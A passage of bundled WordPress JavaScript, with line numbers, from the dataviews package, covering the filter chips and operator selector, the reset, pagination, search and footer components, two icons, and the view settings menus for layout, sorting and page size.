41303 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s is not: </Name><Value>%2$s</Value>"),
41304 filter.name,
41305 activeElements[0].label
41306 ),
41307 filterTextWrappers
41308 );
41309 }
41310 if (filterInView?.operator === OPERATOR_IN_THE_PAST) {
41311 return (0,external_wp_element_.createInterpolateElement)(
41312 (0,external_wp_i18n_namespaceObject.sprintf)(
41313 /* translators: 1: Filter name. 2: Filter value. e.g.: "Date is in the past: 1 days". */
41314 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s is in the past: </Name><Value>%2$s</Value>"),
41315 filter.name,
41316 `${activeElements[0].value.value} ${activeElements[0].value.unit}`
41317 ),
41318 filterTextWrappers
41319 );
41320 }
41321 if (filterInView?.operator === OPERATOR_OVER) {
41322 return (0,external_wp_element_.createInterpolateElement)(
41323 (0,external_wp_i18n_namespaceObject.sprintf)(
41324 /* translators: 1: Filter name. 2: Filter value. e.g.: "Date is over: 1 days ago". */
41325 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s is over: </Name><Value>%2$s</Value> ago"),
41326 filter.name,
41327 `${activeElements[0].value.value} ${activeElements[0].value.unit}`
41328 ),
41329 filterTextWrappers
41330 );
41331 }
41332 return (0,external_wp_i18n_namespaceObject.sprintf)(
41333 /* translators: 1: Filter name e.g.: "Unknown status for Author". */
41334 (0,external_wp_i18n_namespaceObject.__)("Unknown status for %1$s"),
41335 filter.name
41336 );
41337};
41338function OperatorSelector({
41339 filter,
41340 view,
41341 onChangeView
41342}) {
41343 const operatorOptions = filter.operators?.map((operator) => ({
41344 value: operator,
41345 label: OPERATORS[operator]?.label
41346 }));
41347 const currentFilter = view.filters?.find(
41348 (_filter) => _filter.field === filter.field
41349 );
41350 const value = currentFilter?.operator || filter.operators[0];
41351 return operatorOptions.length > 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
41352 external_wp_components_namespaceObject.__experimentalHStack,
41353 {
41354 spacing: 2,
41355 justify: "flex-start",
41356 className: "dataviews-filters__summary-operators-container",
41357 children: [
41358 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { className: "dataviews-filters__summary-operators-filter-name", children: filter.name }),
41359 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41360 external_wp_components_namespaceObject.SelectControl,
41361 {
41362 className: "dataviews-filters__summary-operators-filter-select",
41363 label: (0,external_wp_i18n_namespaceObject.__)("Conditions"),
41364 value,
41365 options: operatorOptions,
41366 onChange: (newValue) => {
41367 const operator = newValue;
41368 const currentOperator = currentFilter?.operator;
41369 const newFilters = currentFilter ? [
41370 ...(view.filters ?? []).map(
41371 (_filter) => {
41372 if (_filter.field === filter.field) {
41373 const OPERATORS_SHOULD_RESET_VALUE = [
41374 OPERATOR_BETWEEN,
41375 OPERATOR_IN_THE_PAST,
41376 OPERATOR_OVER
41377 ];
41378 const shouldResetValue = currentOperator && (OPERATORS_SHOULD_RESET_VALUE.includes(
41379 currentOperator
41380 ) || OPERATORS_SHOULD_RESET_VALUE.includes(
41381 operator
41382 ));
41383 return {
41384 ..._filter,
41385 value: shouldResetValue ? void 0 : _filter.value,
41386 operator
41387 };
41388 }
41389 return _filter;
41390 }
41391 )
41392 ] : [
41393 ...view.filters ?? [],
41394 {
41395 field: filter.field,
41396 operator,
41397 value: void 0
41398 }
41399 ];
41400 onChangeView({
41401 ...view,
41402 page: 1,
41403 filters: newFilters
41404 });
41405 },
41406 size: "small",
41407 variant: "minimal",
41408 __nextHasNoMarginBottom: true,
41409 hideLabelFromVision: true
41410 }
41411 )
41412 ]
41413 }
41414 );
41415}
41416function Filter({
41417 addFilterRef,
41418 openedFilter,
41419 fields,
41420 ...commonProps
41421}) {
41422 const toggleRef = (0,external_wp_element_.useRef)(null);
41423 const { filter, view, onChangeView } = commonProps;
41424 const filterInView = view.filters?.find(
41425 (f) => f.field === filter.field
41426 );
41427 let activeElements = [];
41428 const { elements } = useElements({
41429 elements: filter.elements,
41430 getElements: filter.getElements
41431 });
41432 if (elements.length > 0) {
41433 activeElements = elements.filter((element) => {
41434 if (filter.singleSelection) {
41435 return element.value === filterInView?.value;
41436 }
41437 return filterInView?.value?.includes(element.value);
41438 });
41439 } else if (filterInView?.value !== void 0) {
41440 activeElements = [
41441 {
41442 value: filterInView.value,
41443 label: filterInView.value
41444 }
41445 ];
41446 }
41447 const isPrimary = filter.isPrimary;
41448 const isLocked = filterInView?.isLocked;
41449 const hasValues = !isLocked && filterInView?.value !== void 0;
41450 const canResetOrRemove = !isLocked && (!isPrimary || hasValues);
41451 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41452 external_wp_components_namespaceObject.Dropdown,
41453 {
41454 defaultOpen: openedFilter === filter.field,
41455 contentClassName: "dataviews-filters__summary-popover",
41456 popoverProps: { placement: "bottom-start", role: "dialog" },
41457 onClose: () => {
41458 toggleRef.current?.focus();
41459 },
41460 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "dataviews-filters__summary-chip-container", children: [
41461 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41462 external_wp_components_namespaceObject.Tooltip,
41463 {
41464 text: (0,external_wp_i18n_namespaceObject.sprintf)(
41465 /* translators: 1: Filter name. */
41466 (0,external_wp_i18n_namespaceObject.__)("Filter by: %1$s"),
41467 filter.name.toLowerCase()
41468 ),
41469 placement: "top",
41470 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41471 "div",
41472 {
41473 className: dist_clsx(
41474 "dataviews-filters__summary-chip",
41475 {
41476 "has-reset": canResetOrRemove,
41477 "has-values": hasValues,
41478 "is-not-clickable": isLocked
41479 }
41480 ),
41481 role: "button",
41482 tabIndex: isLocked ? -1 : 0,
41483 onClick: () => {
41484 if (!isLocked) {
41485 onToggle();
41486 }
41487 },
41488 onKeyDown: (event) => {
41489 if (!isLocked && [ENTER, SPACE].includes(event.key)) {
41490 onToggle();
41491 event.preventDefault();
41492 }
41493 },
41494 "aria-disabled": isLocked,
41495 "aria-pressed": isOpen,
41496 "aria-expanded": isOpen,
41497 ref: toggleRef,
41498 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41499 FilterText,
41500 {
41501 activeElements,
41502 filterInView,
41503 filter
41504 }
41505 )
41506 }
41507 )
41508 }
41509 ),
41510 canResetOrRemove && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41511 external_wp_components_namespaceObject.Tooltip,
41512 {
41513 text: isPrimary ? (0,external_wp_i18n_namespaceObject.__)("Reset") : (0,external_wp_i18n_namespaceObject.__)("Remove"),
41514 placement: "top",
41515 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41516 "button",
41517 {
41518 className: dist_clsx(
41519 "dataviews-filters__summary-chip-remove",
41520 { "has-values": hasValues }
41521 ),
41522 onClick: () => {
41523 onChangeView({
41524 ...view,
41525 page: 1,
41526 filters: view.filters?.filter(
41527 (_filter) => _filter.field !== filter.field
41528 )
41529 });
41530 if (!isPrimary) {
41531 addFilterRef.current?.focus();
41532 } else {
41533 toggleRef.current?.focus();
41534 }
41535 },
41536 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: close_small_default })
41537 }
41538 )
41539 }
41540 )
41541 ] }),
41542 renderContent: () => {
41543 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 0, justify: "flex-start", children: [
41544 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(OperatorSelector, { ...commonProps }),
41545 commonProps.filter.hasElements ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41546 SearchWidget,
41547 {
41548 ...commonProps,
41549 filter: {
41550 ...commonProps.filter,
41551 elements
41552 }
41553 }
41554 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(InputWidget, { ...commonProps, fields })
41555 ] });
41556 }
41557 }
41558 );
41559}
41560
41561
41562;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/reset-filters.js
41563
41564
41565
41566function ResetFilter({
41567 filters,
41568 view,
41569 onChangeView
41570}) {
41571 const isPrimary = (field) => filters.some(
41572 (_filter) => _filter.field === field && _filter.isPrimary
41573 );
41574 const isDisabled = !view.search && !view.filters?.some(
41575 (_filter) => !_filter.isLocked && (_filter.value !== void 0 || !isPrimary(_filter.field))
41576 );
41577 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41578 external_wp_components_namespaceObject.Button,
41579 {
41580 disabled: isDisabled,
41581 accessibleWhenDisabled: true,
41582 size: "compact",
41583 variant: "tertiary",
41584 className: "dataviews-filters__reset-button",
41585 onClick: () => {
41586 onChangeView({
41587 ...view,
41588 page: 1,
41589 search: "",
41590 filters: view.filters?.filter((f) => !!f.isLocked) || []
41591 });
41592 },
41593 children: (0,external_wp_i18n_namespaceObject.__)("Reset")
41594 }
41595 );
41596}
41597
41598
41599;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/use-filters.js
41600
41601
41602function useFilters(fields, view) {
41603 return (0,external_wp_element_.useMemo)(() => {
41604 const filters = [];
41605 fields.forEach((field) => {
41606 if (field.filterBy === false || !field.hasElements && !field.Edit) {
41607 return;
41608 }
41609 const operators = field.filterBy.operators;
41610 const isPrimary = !!field.filterBy?.isPrimary;
41611 const isLocked = view.filters?.some(
41612 (f) => f.field === field.id && !!f.isLocked
41613 ) ?? false;
41614 filters.push({
41615 field: field.id,
41616 name: field.label,
41617 elements: field.elements,
41618 getElements: field.getElements,
41619 hasElements: field.hasElements,
41620 singleSelection: operators.some(
41621 (op) => SINGLE_SELECTION_OPERATORS.includes(op)
41622 ),
41623 operators,
41624 isVisible: isLocked || isPrimary || !!view.filters?.some(
41625 (f) => f.field === field.id && ALL_OPERATORS.includes(f.operator)
41626 ),
41627 isPrimary,
41628 isLocked
41629 });
41630 });
41631 filters.sort((a, b) => {
41632 if (a.isLocked && !b.isLocked) {
41633 return -1;
41634 }
41635 if (!a.isLocked && b.isLocked) {
41636 return 1;
41637 }
41638 if (a.isPrimary && !b.isPrimary) {
41639 return -1;
41640 }
41641 if (!a.isPrimary && b.isPrimary) {
41642 return 1;
41643 }
41644 return a.name.localeCompare(b.name);
41645 });
41646 return filters;
41647 }, [fields, view]);
41648}
41649var use_filters_default = useFilters;
41650
41651
41652;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/filters.js
41653
41654
41655
41656
41657
41658
41659
41660
41661function Filters({ className }) {
41662 const { fields, view, onChangeView, openedFilter, setOpenedFilter } = (0,external_wp_element_.useContext)(dataviews_context_default);
41663 const addFilterRef = (0,external_wp_element_.useRef)(null);
41664 const filters = use_filters_default(fields, view);
41665 const addFilter = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41666 add_filter_default,
41667 {
41668 filters,
41669 view,
41670 onChangeView,
41671 ref: addFilterRef,
41672 setOpenedFilter
41673 },
41674 "add-filter"
41675 );
41676 const visibleFilters = filters.filter((filter) => filter.isVisible);
41677 if (visibleFilters.length === 0) {
41678 return null;
41679 }
41680 const filterComponents = [
41681 ...visibleFilters.map((filter) => {
41682 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41683 Filter,
41684 {
41685 filter,
41686 view,
41687 fields,
41688 onChangeView,
41689 addFilterRef,
41690 openedFilter
41691 },
41692 filter.field
41693 );
41694 }),
41695 addFilter
41696 ];
41697 filterComponents.push(
41698 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41699 ResetFilter,
41700 {
41701 filters,
41702 view,
41703 onChangeView
41704 },
41705 "reset-filters"
41706 )
41707 );
41708 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41709 external_wp_components_namespaceObject.__experimentalHStack,
41710 {
41711 justify: "flex-start",
41712 style: { width: "fit-content" },
41713 wrap: true,
41714 className,
41715 children: filterComponents
41716 }
41717 );
41718}
41719var filters_default = (0,external_wp_element_.memo)(Filters);
41720
41721
41722;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/filters-toggled.js
41723
41724
41725
41726
41727function FiltersToggled(props) {
41728 const { isShowingFilter } = (0,external_wp_element_.useContext)(dataviews_context_default);
41729 if (!isShowingFilter) {
41730 return null;
41731 }
41732 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(filters_default, { ...props });
41733}
41734var filters_toggled_default = FiltersToggled;
41735
41736
41737;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-layout/index.js
41738
41739
41740
41741
41742
41743function DataViewsLayout({ className }) {
41744 const {
41745 actions = [],
41746 data,
41747 fields,
41748 getItemId,
41749 getItemLevel,
41750 isLoading,
41751 view,
41752 onChangeView,
41753 selection,
41754 onChangeSelection,
41755 setOpenedFilter,
41756 onClickItem,
41757 isItemClickable,
41758 renderItemLink,
41759 defaultLayouts,
41760 empty = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)("No results") })
41761 } = (0,external_wp_element_.useContext)(dataviews_context_default);
41762 const ViewComponent = VIEW_LAYOUTS.find(
41763 (v) => v.type === view.type && defaultLayouts[v.type]
41764 )?.component;
41765 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41766 ViewComponent,
41767 {
41768 className,
41769 actions,
41770 data,
41771 fields,
41772 getItemId,
41773 getItemLevel,
41774 isLoading,
41775 onChangeView,
41776 onChangeSelection,
41777 selection,
41778 setOpenedFilter,
41779 onClickItem,
41780 renderItemLink,
41781 isItemClickable,
41782 view,
41783 empty
41784 }
41785 );
41786}
41787
41788
41789;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-pagination/index.js
41790
41791
41792
41793
41794
41795
41796function dataviews_pagination_DataViewsPagination() {
41797 const {
41798 view,
41799 onChangeView,
41800 paginationInfo: { totalItems = 0, totalPages }
41801 } = (0,external_wp_element_.useContext)(dataviews_context_default);
41802 if (!totalItems || !totalPages || view.infiniteScrollEnabled) {
41803 return null;
41804 }
41805 const currentPage = view.page ?? 1;
41806 const pageSelectOptions = Array.from(Array(totalPages)).map(
41807 (_, i) => {
41808 const page = i + 1;
41809 return {
41810 value: page.toString(),
41811 label: page.toString(),
41812 "aria-label": currentPage === page ? (0,external_wp_i18n_namespaceObject.sprintf)(
41813 // translators: 1: current page number. 2: total number of pages.
41814 (0,external_wp_i18n_namespaceObject.__)("Page %1$d of %2$d"),
41815 currentPage,
41816 totalPages
41817 ) : page.toString()
41818 };
41819 }
41820 );
41821 return !!totalItems && totalPages !== 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
41822 external_wp_components_namespaceObject.__experimentalHStack,
41823 {
41824 expanded: false,
41825 className: "dataviews-pagination",
41826 justify: "end",
41827 spacing: 6,
41828 children: [
41829 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41830 external_wp_components_namespaceObject.__experimentalHStack,
41831 {
41832 justify: "flex-start",
41833 expanded: false,
41834 spacing: 1,
41835 className: "dataviews-pagination__page-select",
41836 children: (0,external_wp_element_.createInterpolateElement)(
41837 (0,external_wp_i18n_namespaceObject.sprintf)(
41838 // translators: 1: Current page number, 2: Total number of pages.
41839 (0,external_wp_i18n_namespaceObject._x)(
41840 "<div>Page</div>%1$s<div>of %2$d</div>",
41841 "paging"
41842 ),
41843 "<CurrentPage />",
41844 totalPages
41845 ),
41846 {
41847 div: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { "aria-hidden": true }),
41848 CurrentPage: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41849 external_wp_components_namespaceObject.SelectControl,
41850 {
41851 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Current page"),
41852 value: currentPage.toString(),
41853 options: pageSelectOptions,
41854 onChange: (newValue) => {
41855 onChangeView({
41856 ...view,
41857 page: +newValue
41858 });
41859 },
41860 size: "small",
41861 __nextHasNoMarginBottom: true,
41862 variant: "minimal"
41863 }
41864 )
41865 }
41866 )
41867 }
41868 ),
41869 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { expanded: false, spacing: 1, children: [
41870 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41871 external_wp_components_namespaceObject.Button,
41872 {
41873 onClick: () => onChangeView({
41874 ...view,
41875 page: currentPage - 1
41876 }),
41877 disabled: currentPage === 1,
41878 accessibleWhenDisabled: true,
41879 label: (0,external_wp_i18n_namespaceObject.__)("Previous page"),
41880 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? next_default : previous_default,
41881 showTooltip: true,
41882 size: "compact",
41883 tooltipPosition: "top"
41884 }
41885 ),
41886 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41887 external_wp_components_namespaceObject.Button,
41888 {
41889 onClick: () => onChangeView({ ...view, page: currentPage + 1 }),
41890 disabled: currentPage >= totalPages,
41891 accessibleWhenDisabled: true,
41892 label: (0,external_wp_i18n_namespaceObject.__)("Next page"),
41893 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? previous_default : next_default,
41894 showTooltip: true,
41895 size: "compact",
41896 tooltipPosition: "top"
41897 }
41898 )
41899 ] })
41900 ]
41901 }
41902 );
41903}
41904var dataviews_pagination_default = (0,external_wp_element_.memo)(dataviews_pagination_DataViewsPagination);
41905
41906
41907;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-footer/index.js
41908
41909
41910
41911
41912
41913
41914
41915const dataviews_footer_EMPTY_ARRAY = [];
41916function DataViewsFooter() {
41917 const {
41918 view,
41919 paginationInfo: { totalItems = 0, totalPages },
41920 data,
41921 actions = dataviews_footer_EMPTY_ARRAY
41922 } = (0,external_wp_element_.useContext)(dataviews_context_default);
41923 const hasBulkActions = useSomeItemHasAPossibleBulkAction(actions, data) && [constants_LAYOUT_TABLE, constants_LAYOUT_GRID].includes(view.type);
41924 if (!totalItems || !totalPages || totalPages <= 1 && !hasBulkActions) {
41925 return null;
41926 }
41927 return !!totalItems && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
41928 external_wp_components_namespaceObject.__experimentalHStack,
41929 {
41930 expanded: false,
41931 justify: "end",
41932 className: "dataviews-footer",
41933 children: [
41934 hasBulkActions && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BulkActionsFooter, {}),
41935 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_pagination_default, {})
41936 ]
41937 }
41938 );
41939}
41940
41941
41942;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-search/index.js
41943
41944
41945
41946
41947
41948
41949const DataViewsSearch = (0,external_wp_element_.memo)(function Search({ label }) {
41950 const { view, onChangeView } = (0,external_wp_element_.useContext)(dataviews_context_default);
41951 const [search, setSearch, debouncedSearch] = (0,external_wp_compose_namespaceObject.useDebouncedInput)(
41952 view.search
41953 );
41954 (0,external_wp_element_.useEffect)(() => {
41955 setSearch(view.search ?? "");
41956 }, [view.search, setSearch]);
41957 const onChangeViewRef = (0,external_wp_element_.useRef)(onChangeView);
41958 const viewRef = (0,external_wp_element_.useRef)(view);
41959 (0,external_wp_element_.useEffect)(() => {
41960 onChangeViewRef.current = onChangeView;
41961 viewRef.current = view;
41962 }, [onChangeView, view]);
41963 (0,external_wp_element_.useEffect)(() => {
41964 if (debouncedSearch !== viewRef.current?.search) {
41965 onChangeViewRef.current({
41966 ...viewRef.current,
41967 page: 1,
41968 search: debouncedSearch
41969 });
41970 }
41971 }, [debouncedSearch]);
41972 const searchLabel = label || (0,external_wp_i18n_namespaceObject.__)("Search");
41973 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41974 external_wp_components_namespaceObject.SearchControl,
41975 {
41976 className: "dataviews-search",
41977 __nextHasNoMarginBottom: true,
41978 onChange: setSearch,
41979 value: search,
41980 label: searchLabel,
41981 placeholder: searchLabel,
41982 size: "compact"
41983 }
41984 );
41985});
41986var dataviews_search_default = DataViewsSearch;
41987
41988
41989;// ./node_modules/@wordpress/icons/build-module/library/lock.js
41990
41991
41992var lock_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1zm-2.8 0H9.8V7c0-1.2 1-2.2 2.2-2.2s2.2 1 2.2 2.2v3z" }) });
41993
41994
41995;// ./node_modules/@wordpress/icons/build-module/library/cog.js
41996
41997
41998var cog_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41999 external_wp_primitives_namespaceObject.Path,
42000 {
42001 fillRule: "evenodd",
42002 d: "M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z",
42003 clipRule: "evenodd"
42004 }
42005) });
42006
42007
42008;// external ["wp","warning"]
42009const external_wp_warning_namespaceObject = window["wp"]["warning"];
42010var external_wp_warning_default = /*#__PURE__*/__webpack_require__.n(external_wp_warning_namespaceObject);
42011;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-view-config/infinite-scroll-toggle.js
42012
42013
42014
42015
42016
42017function InfiniteScrollToggle() {
42018 const context = (0,external_wp_element_.useContext)(dataviews_context_default);
42019 const { view, onChangeView } = context;
42020 const infiniteScrollEnabled = view.infiniteScrollEnabled ?? false;
42021 if (!context.hasInfiniteScrollHandler) {
42022 return null;
42023 }
42024 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42025 external_wp_components_namespaceObject.ToggleControl,
42026 {
42027 __nextHasNoMarginBottom: true,
42028 label: (0,external_wp_i18n_namespaceObject.__)("Enable infinite scroll"),
42029 help: (0,external_wp_i18n_namespaceObject.__)(
42030 "Automatically load more content as you scroll, instead of showing pagination links."
42031 ),
42032 checked: infiniteScrollEnabled,
42033 onChange: (newValue) => {
42034 onChangeView({
42035 ...view,
42036 infiniteScrollEnabled: newValue
42037 });
42038 }
42039 }
42040 );
42041}
42042
42043
42044;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-view-config/index.js
42045
42046
42047
42048
42049
42050
42051
42052
42053
42054
42055
42056
42057
42058const { Menu: dataviews_view_config_Menu } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
42059const DATAVIEWS_CONFIG_POPOVER_PROPS = {
42060 className: "dataviews-config__popover",
42061 placement: "bottom-end",
42062 offset: 9
42063};
42064function ViewTypeMenu() {
42065 const { view, onChangeView, defaultLayouts } = (0,external_wp_element_.useContext)(dataviews_context_default);
42066 const availableLayouts = Object.keys(defaultLayouts);
42067 if (availableLayouts.length <= 1) {
42068 return null;
42069 }
42070 const activeView = VIEW_LAYOUTS.find((v) => view.type === v.type);
42071 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(dataviews_view_config_Menu, { children: [
42072 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42073 dataviews_view_config_Menu.TriggerButton,
42074 {
42075 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42076 external_wp_components_namespaceObject.Button,
42077 {
42078 size: "compact",
42079 icon: activeView?.icon,
42080 label: (0,external_wp_i18n_namespaceObject.__)("Layout")
42081 }
42082 )
42083 }
42084 ),
42085 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.Popover, { children: availableLayouts.map((layout) => {
42086 const config = VIEW_LAYOUTS.find(
42087 (v) => v.type === layout
42088 );
42089 if (!config) {
42090 return null;
42091 }
42092 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42093 dataviews_view_config_Menu.RadioItem,
42094 {
42095 value: layout,
42096 name: "view-actions-available-view",
42097 checked: layout === view.type,
42098 hideOnClick: true,
42099 onChange: (e) => {
42100 switch (e.target.value) {
42101 case "list":
42102 case "grid":
42103 case "table":
42104 case "pickerGrid":
42105 const viewWithoutLayout = { ...view };
42106 if ("layout" in viewWithoutLayout) {
42107 delete viewWithoutLayout.layout;
42108 }
42109 return onChangeView({
42110 ...viewWithoutLayout,
42111 type: e.target.value,
42112 ...defaultLayouts[e.target.value]
42113 });
42114 }
42115 external_wp_warning_default()("Invalid dataview");
42116 },
42117 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.ItemLabel, { children: config.label })
42118 },
42119 layout
42120 );
42121 }) })
42122 ] });
42123}
42124function SortFieldControl() {
42125 const { view, fields, onChangeView } = (0,external_wp_element_.useContext)(dataviews_context_default);
42126 const orderOptions = (0,external_wp_element_.useMemo)(() => {
42127 const sortableFields = fields.filter(
42128 (field) => field.enableSorting !== false
42129 );
42130 return sortableFields.map((field) => {
42131 return {
42132 label: field.label,
42133 value: field.id
42134 };
42135 });
42136 }, [fields]);
42137 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42138 external_wp_components_namespaceObject.SelectControl,
42139 {
42140 __nextHasNoMarginBottom: true,
42141 __next40pxDefaultSize: true,
42142 label: (0,external_wp_i18n_namespaceObject.__)("Sort by"),
42143 value: view.sort?.field,
42144 options: orderOptions,
42145 onChange: (value) => {
42146 onChangeView({
42147 ...view,
42148 sort: {
42149 direction: view?.sort?.direction || "desc",
42150 field: value
42151 },
42152 showLevels: false
42153 });
42154 }
42155 }
42156 );
42157}
42158function SortDirectionControl() {
42159 const { view, fields, onChangeView } = (0,external_wp_element_.useContext)(dataviews_context_default);
42160 const sortableFields = fields.filter(
42161 (field) => field.enableSorting !== false
42162 );
42163 if (sortableFields.length === 0) {
42164 return null;
42165 }
42166 let value = view.sort?.direction;
42167 if (!value && view.sort?.field) {
42168 value = "desc";
42169 }
42170 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42171 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
42172 {
42173 className: "dataviews-view-config__sort-direction",
42174 __nextHasNoMarginBottom: true,
42175 __next40pxDefaultSize: true,
42176 isBlock: true,
42177 label: (0,external_wp_i18n_namespaceObject.__)("Order"),
42178 value,
42179 onChange: (newDirection) => {
42180 if (newDirection === "asc" || newDirection === "desc") {
42181 onChangeView({
42182 ...view,
42183 sort: {
42184 direction: newDirection,
42185 field: view.sort?.field || // If there is no field assigned as the sorting field assign the first sortable field.
42186 fields.find(
42187 (field) => field.enableSorting !== false
42188 )?.id || ""
42189 },
42190 showLevels: false
42191 });
42192 return;
42193 }
42194 external_wp_warning_default()("Invalid direction");
42195 },
42196 children: SORTING_DIRECTIONS.map((direction) => {
42197 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42198 external_wp_components_namespaceObject.__experimentalToggleGroupControlOptionIcon,
42199 {
42200 value: direction,
42201 icon: sortIcons[direction],
42202 label: sortLabels[direction]
42203 },
42204 direction
42205 );
42206 })
42207 }
42208 );
42209}
42210function ItemsPerPageControl() {
42211 const { view, config, onChangeView } = (0,external_wp_element_.useContext)(dataviews_context_default);
42212 const { infiniteScrollEnabled } = view;
42213 if (!config || !config.perPageSizes || config.perPageSizes.length < 2 || config.perPageSizes.length > 6 || infiniteScrollEnabled) {
42214 return null;
42215 }
42216 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42217 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
42218 {
42219 __nextHasNoMarginBottom: true,
42220 __next40pxDefaultSize: true,
42221 isBlock: true,
42222 label: (0,external_wp_i18n_namespaceObject.__)("Items per page"),
42223 value: view.perPage || 10,
42224 disabled: !view?.sort?.field,
42225 onChange: (newItemsPerPage) => {
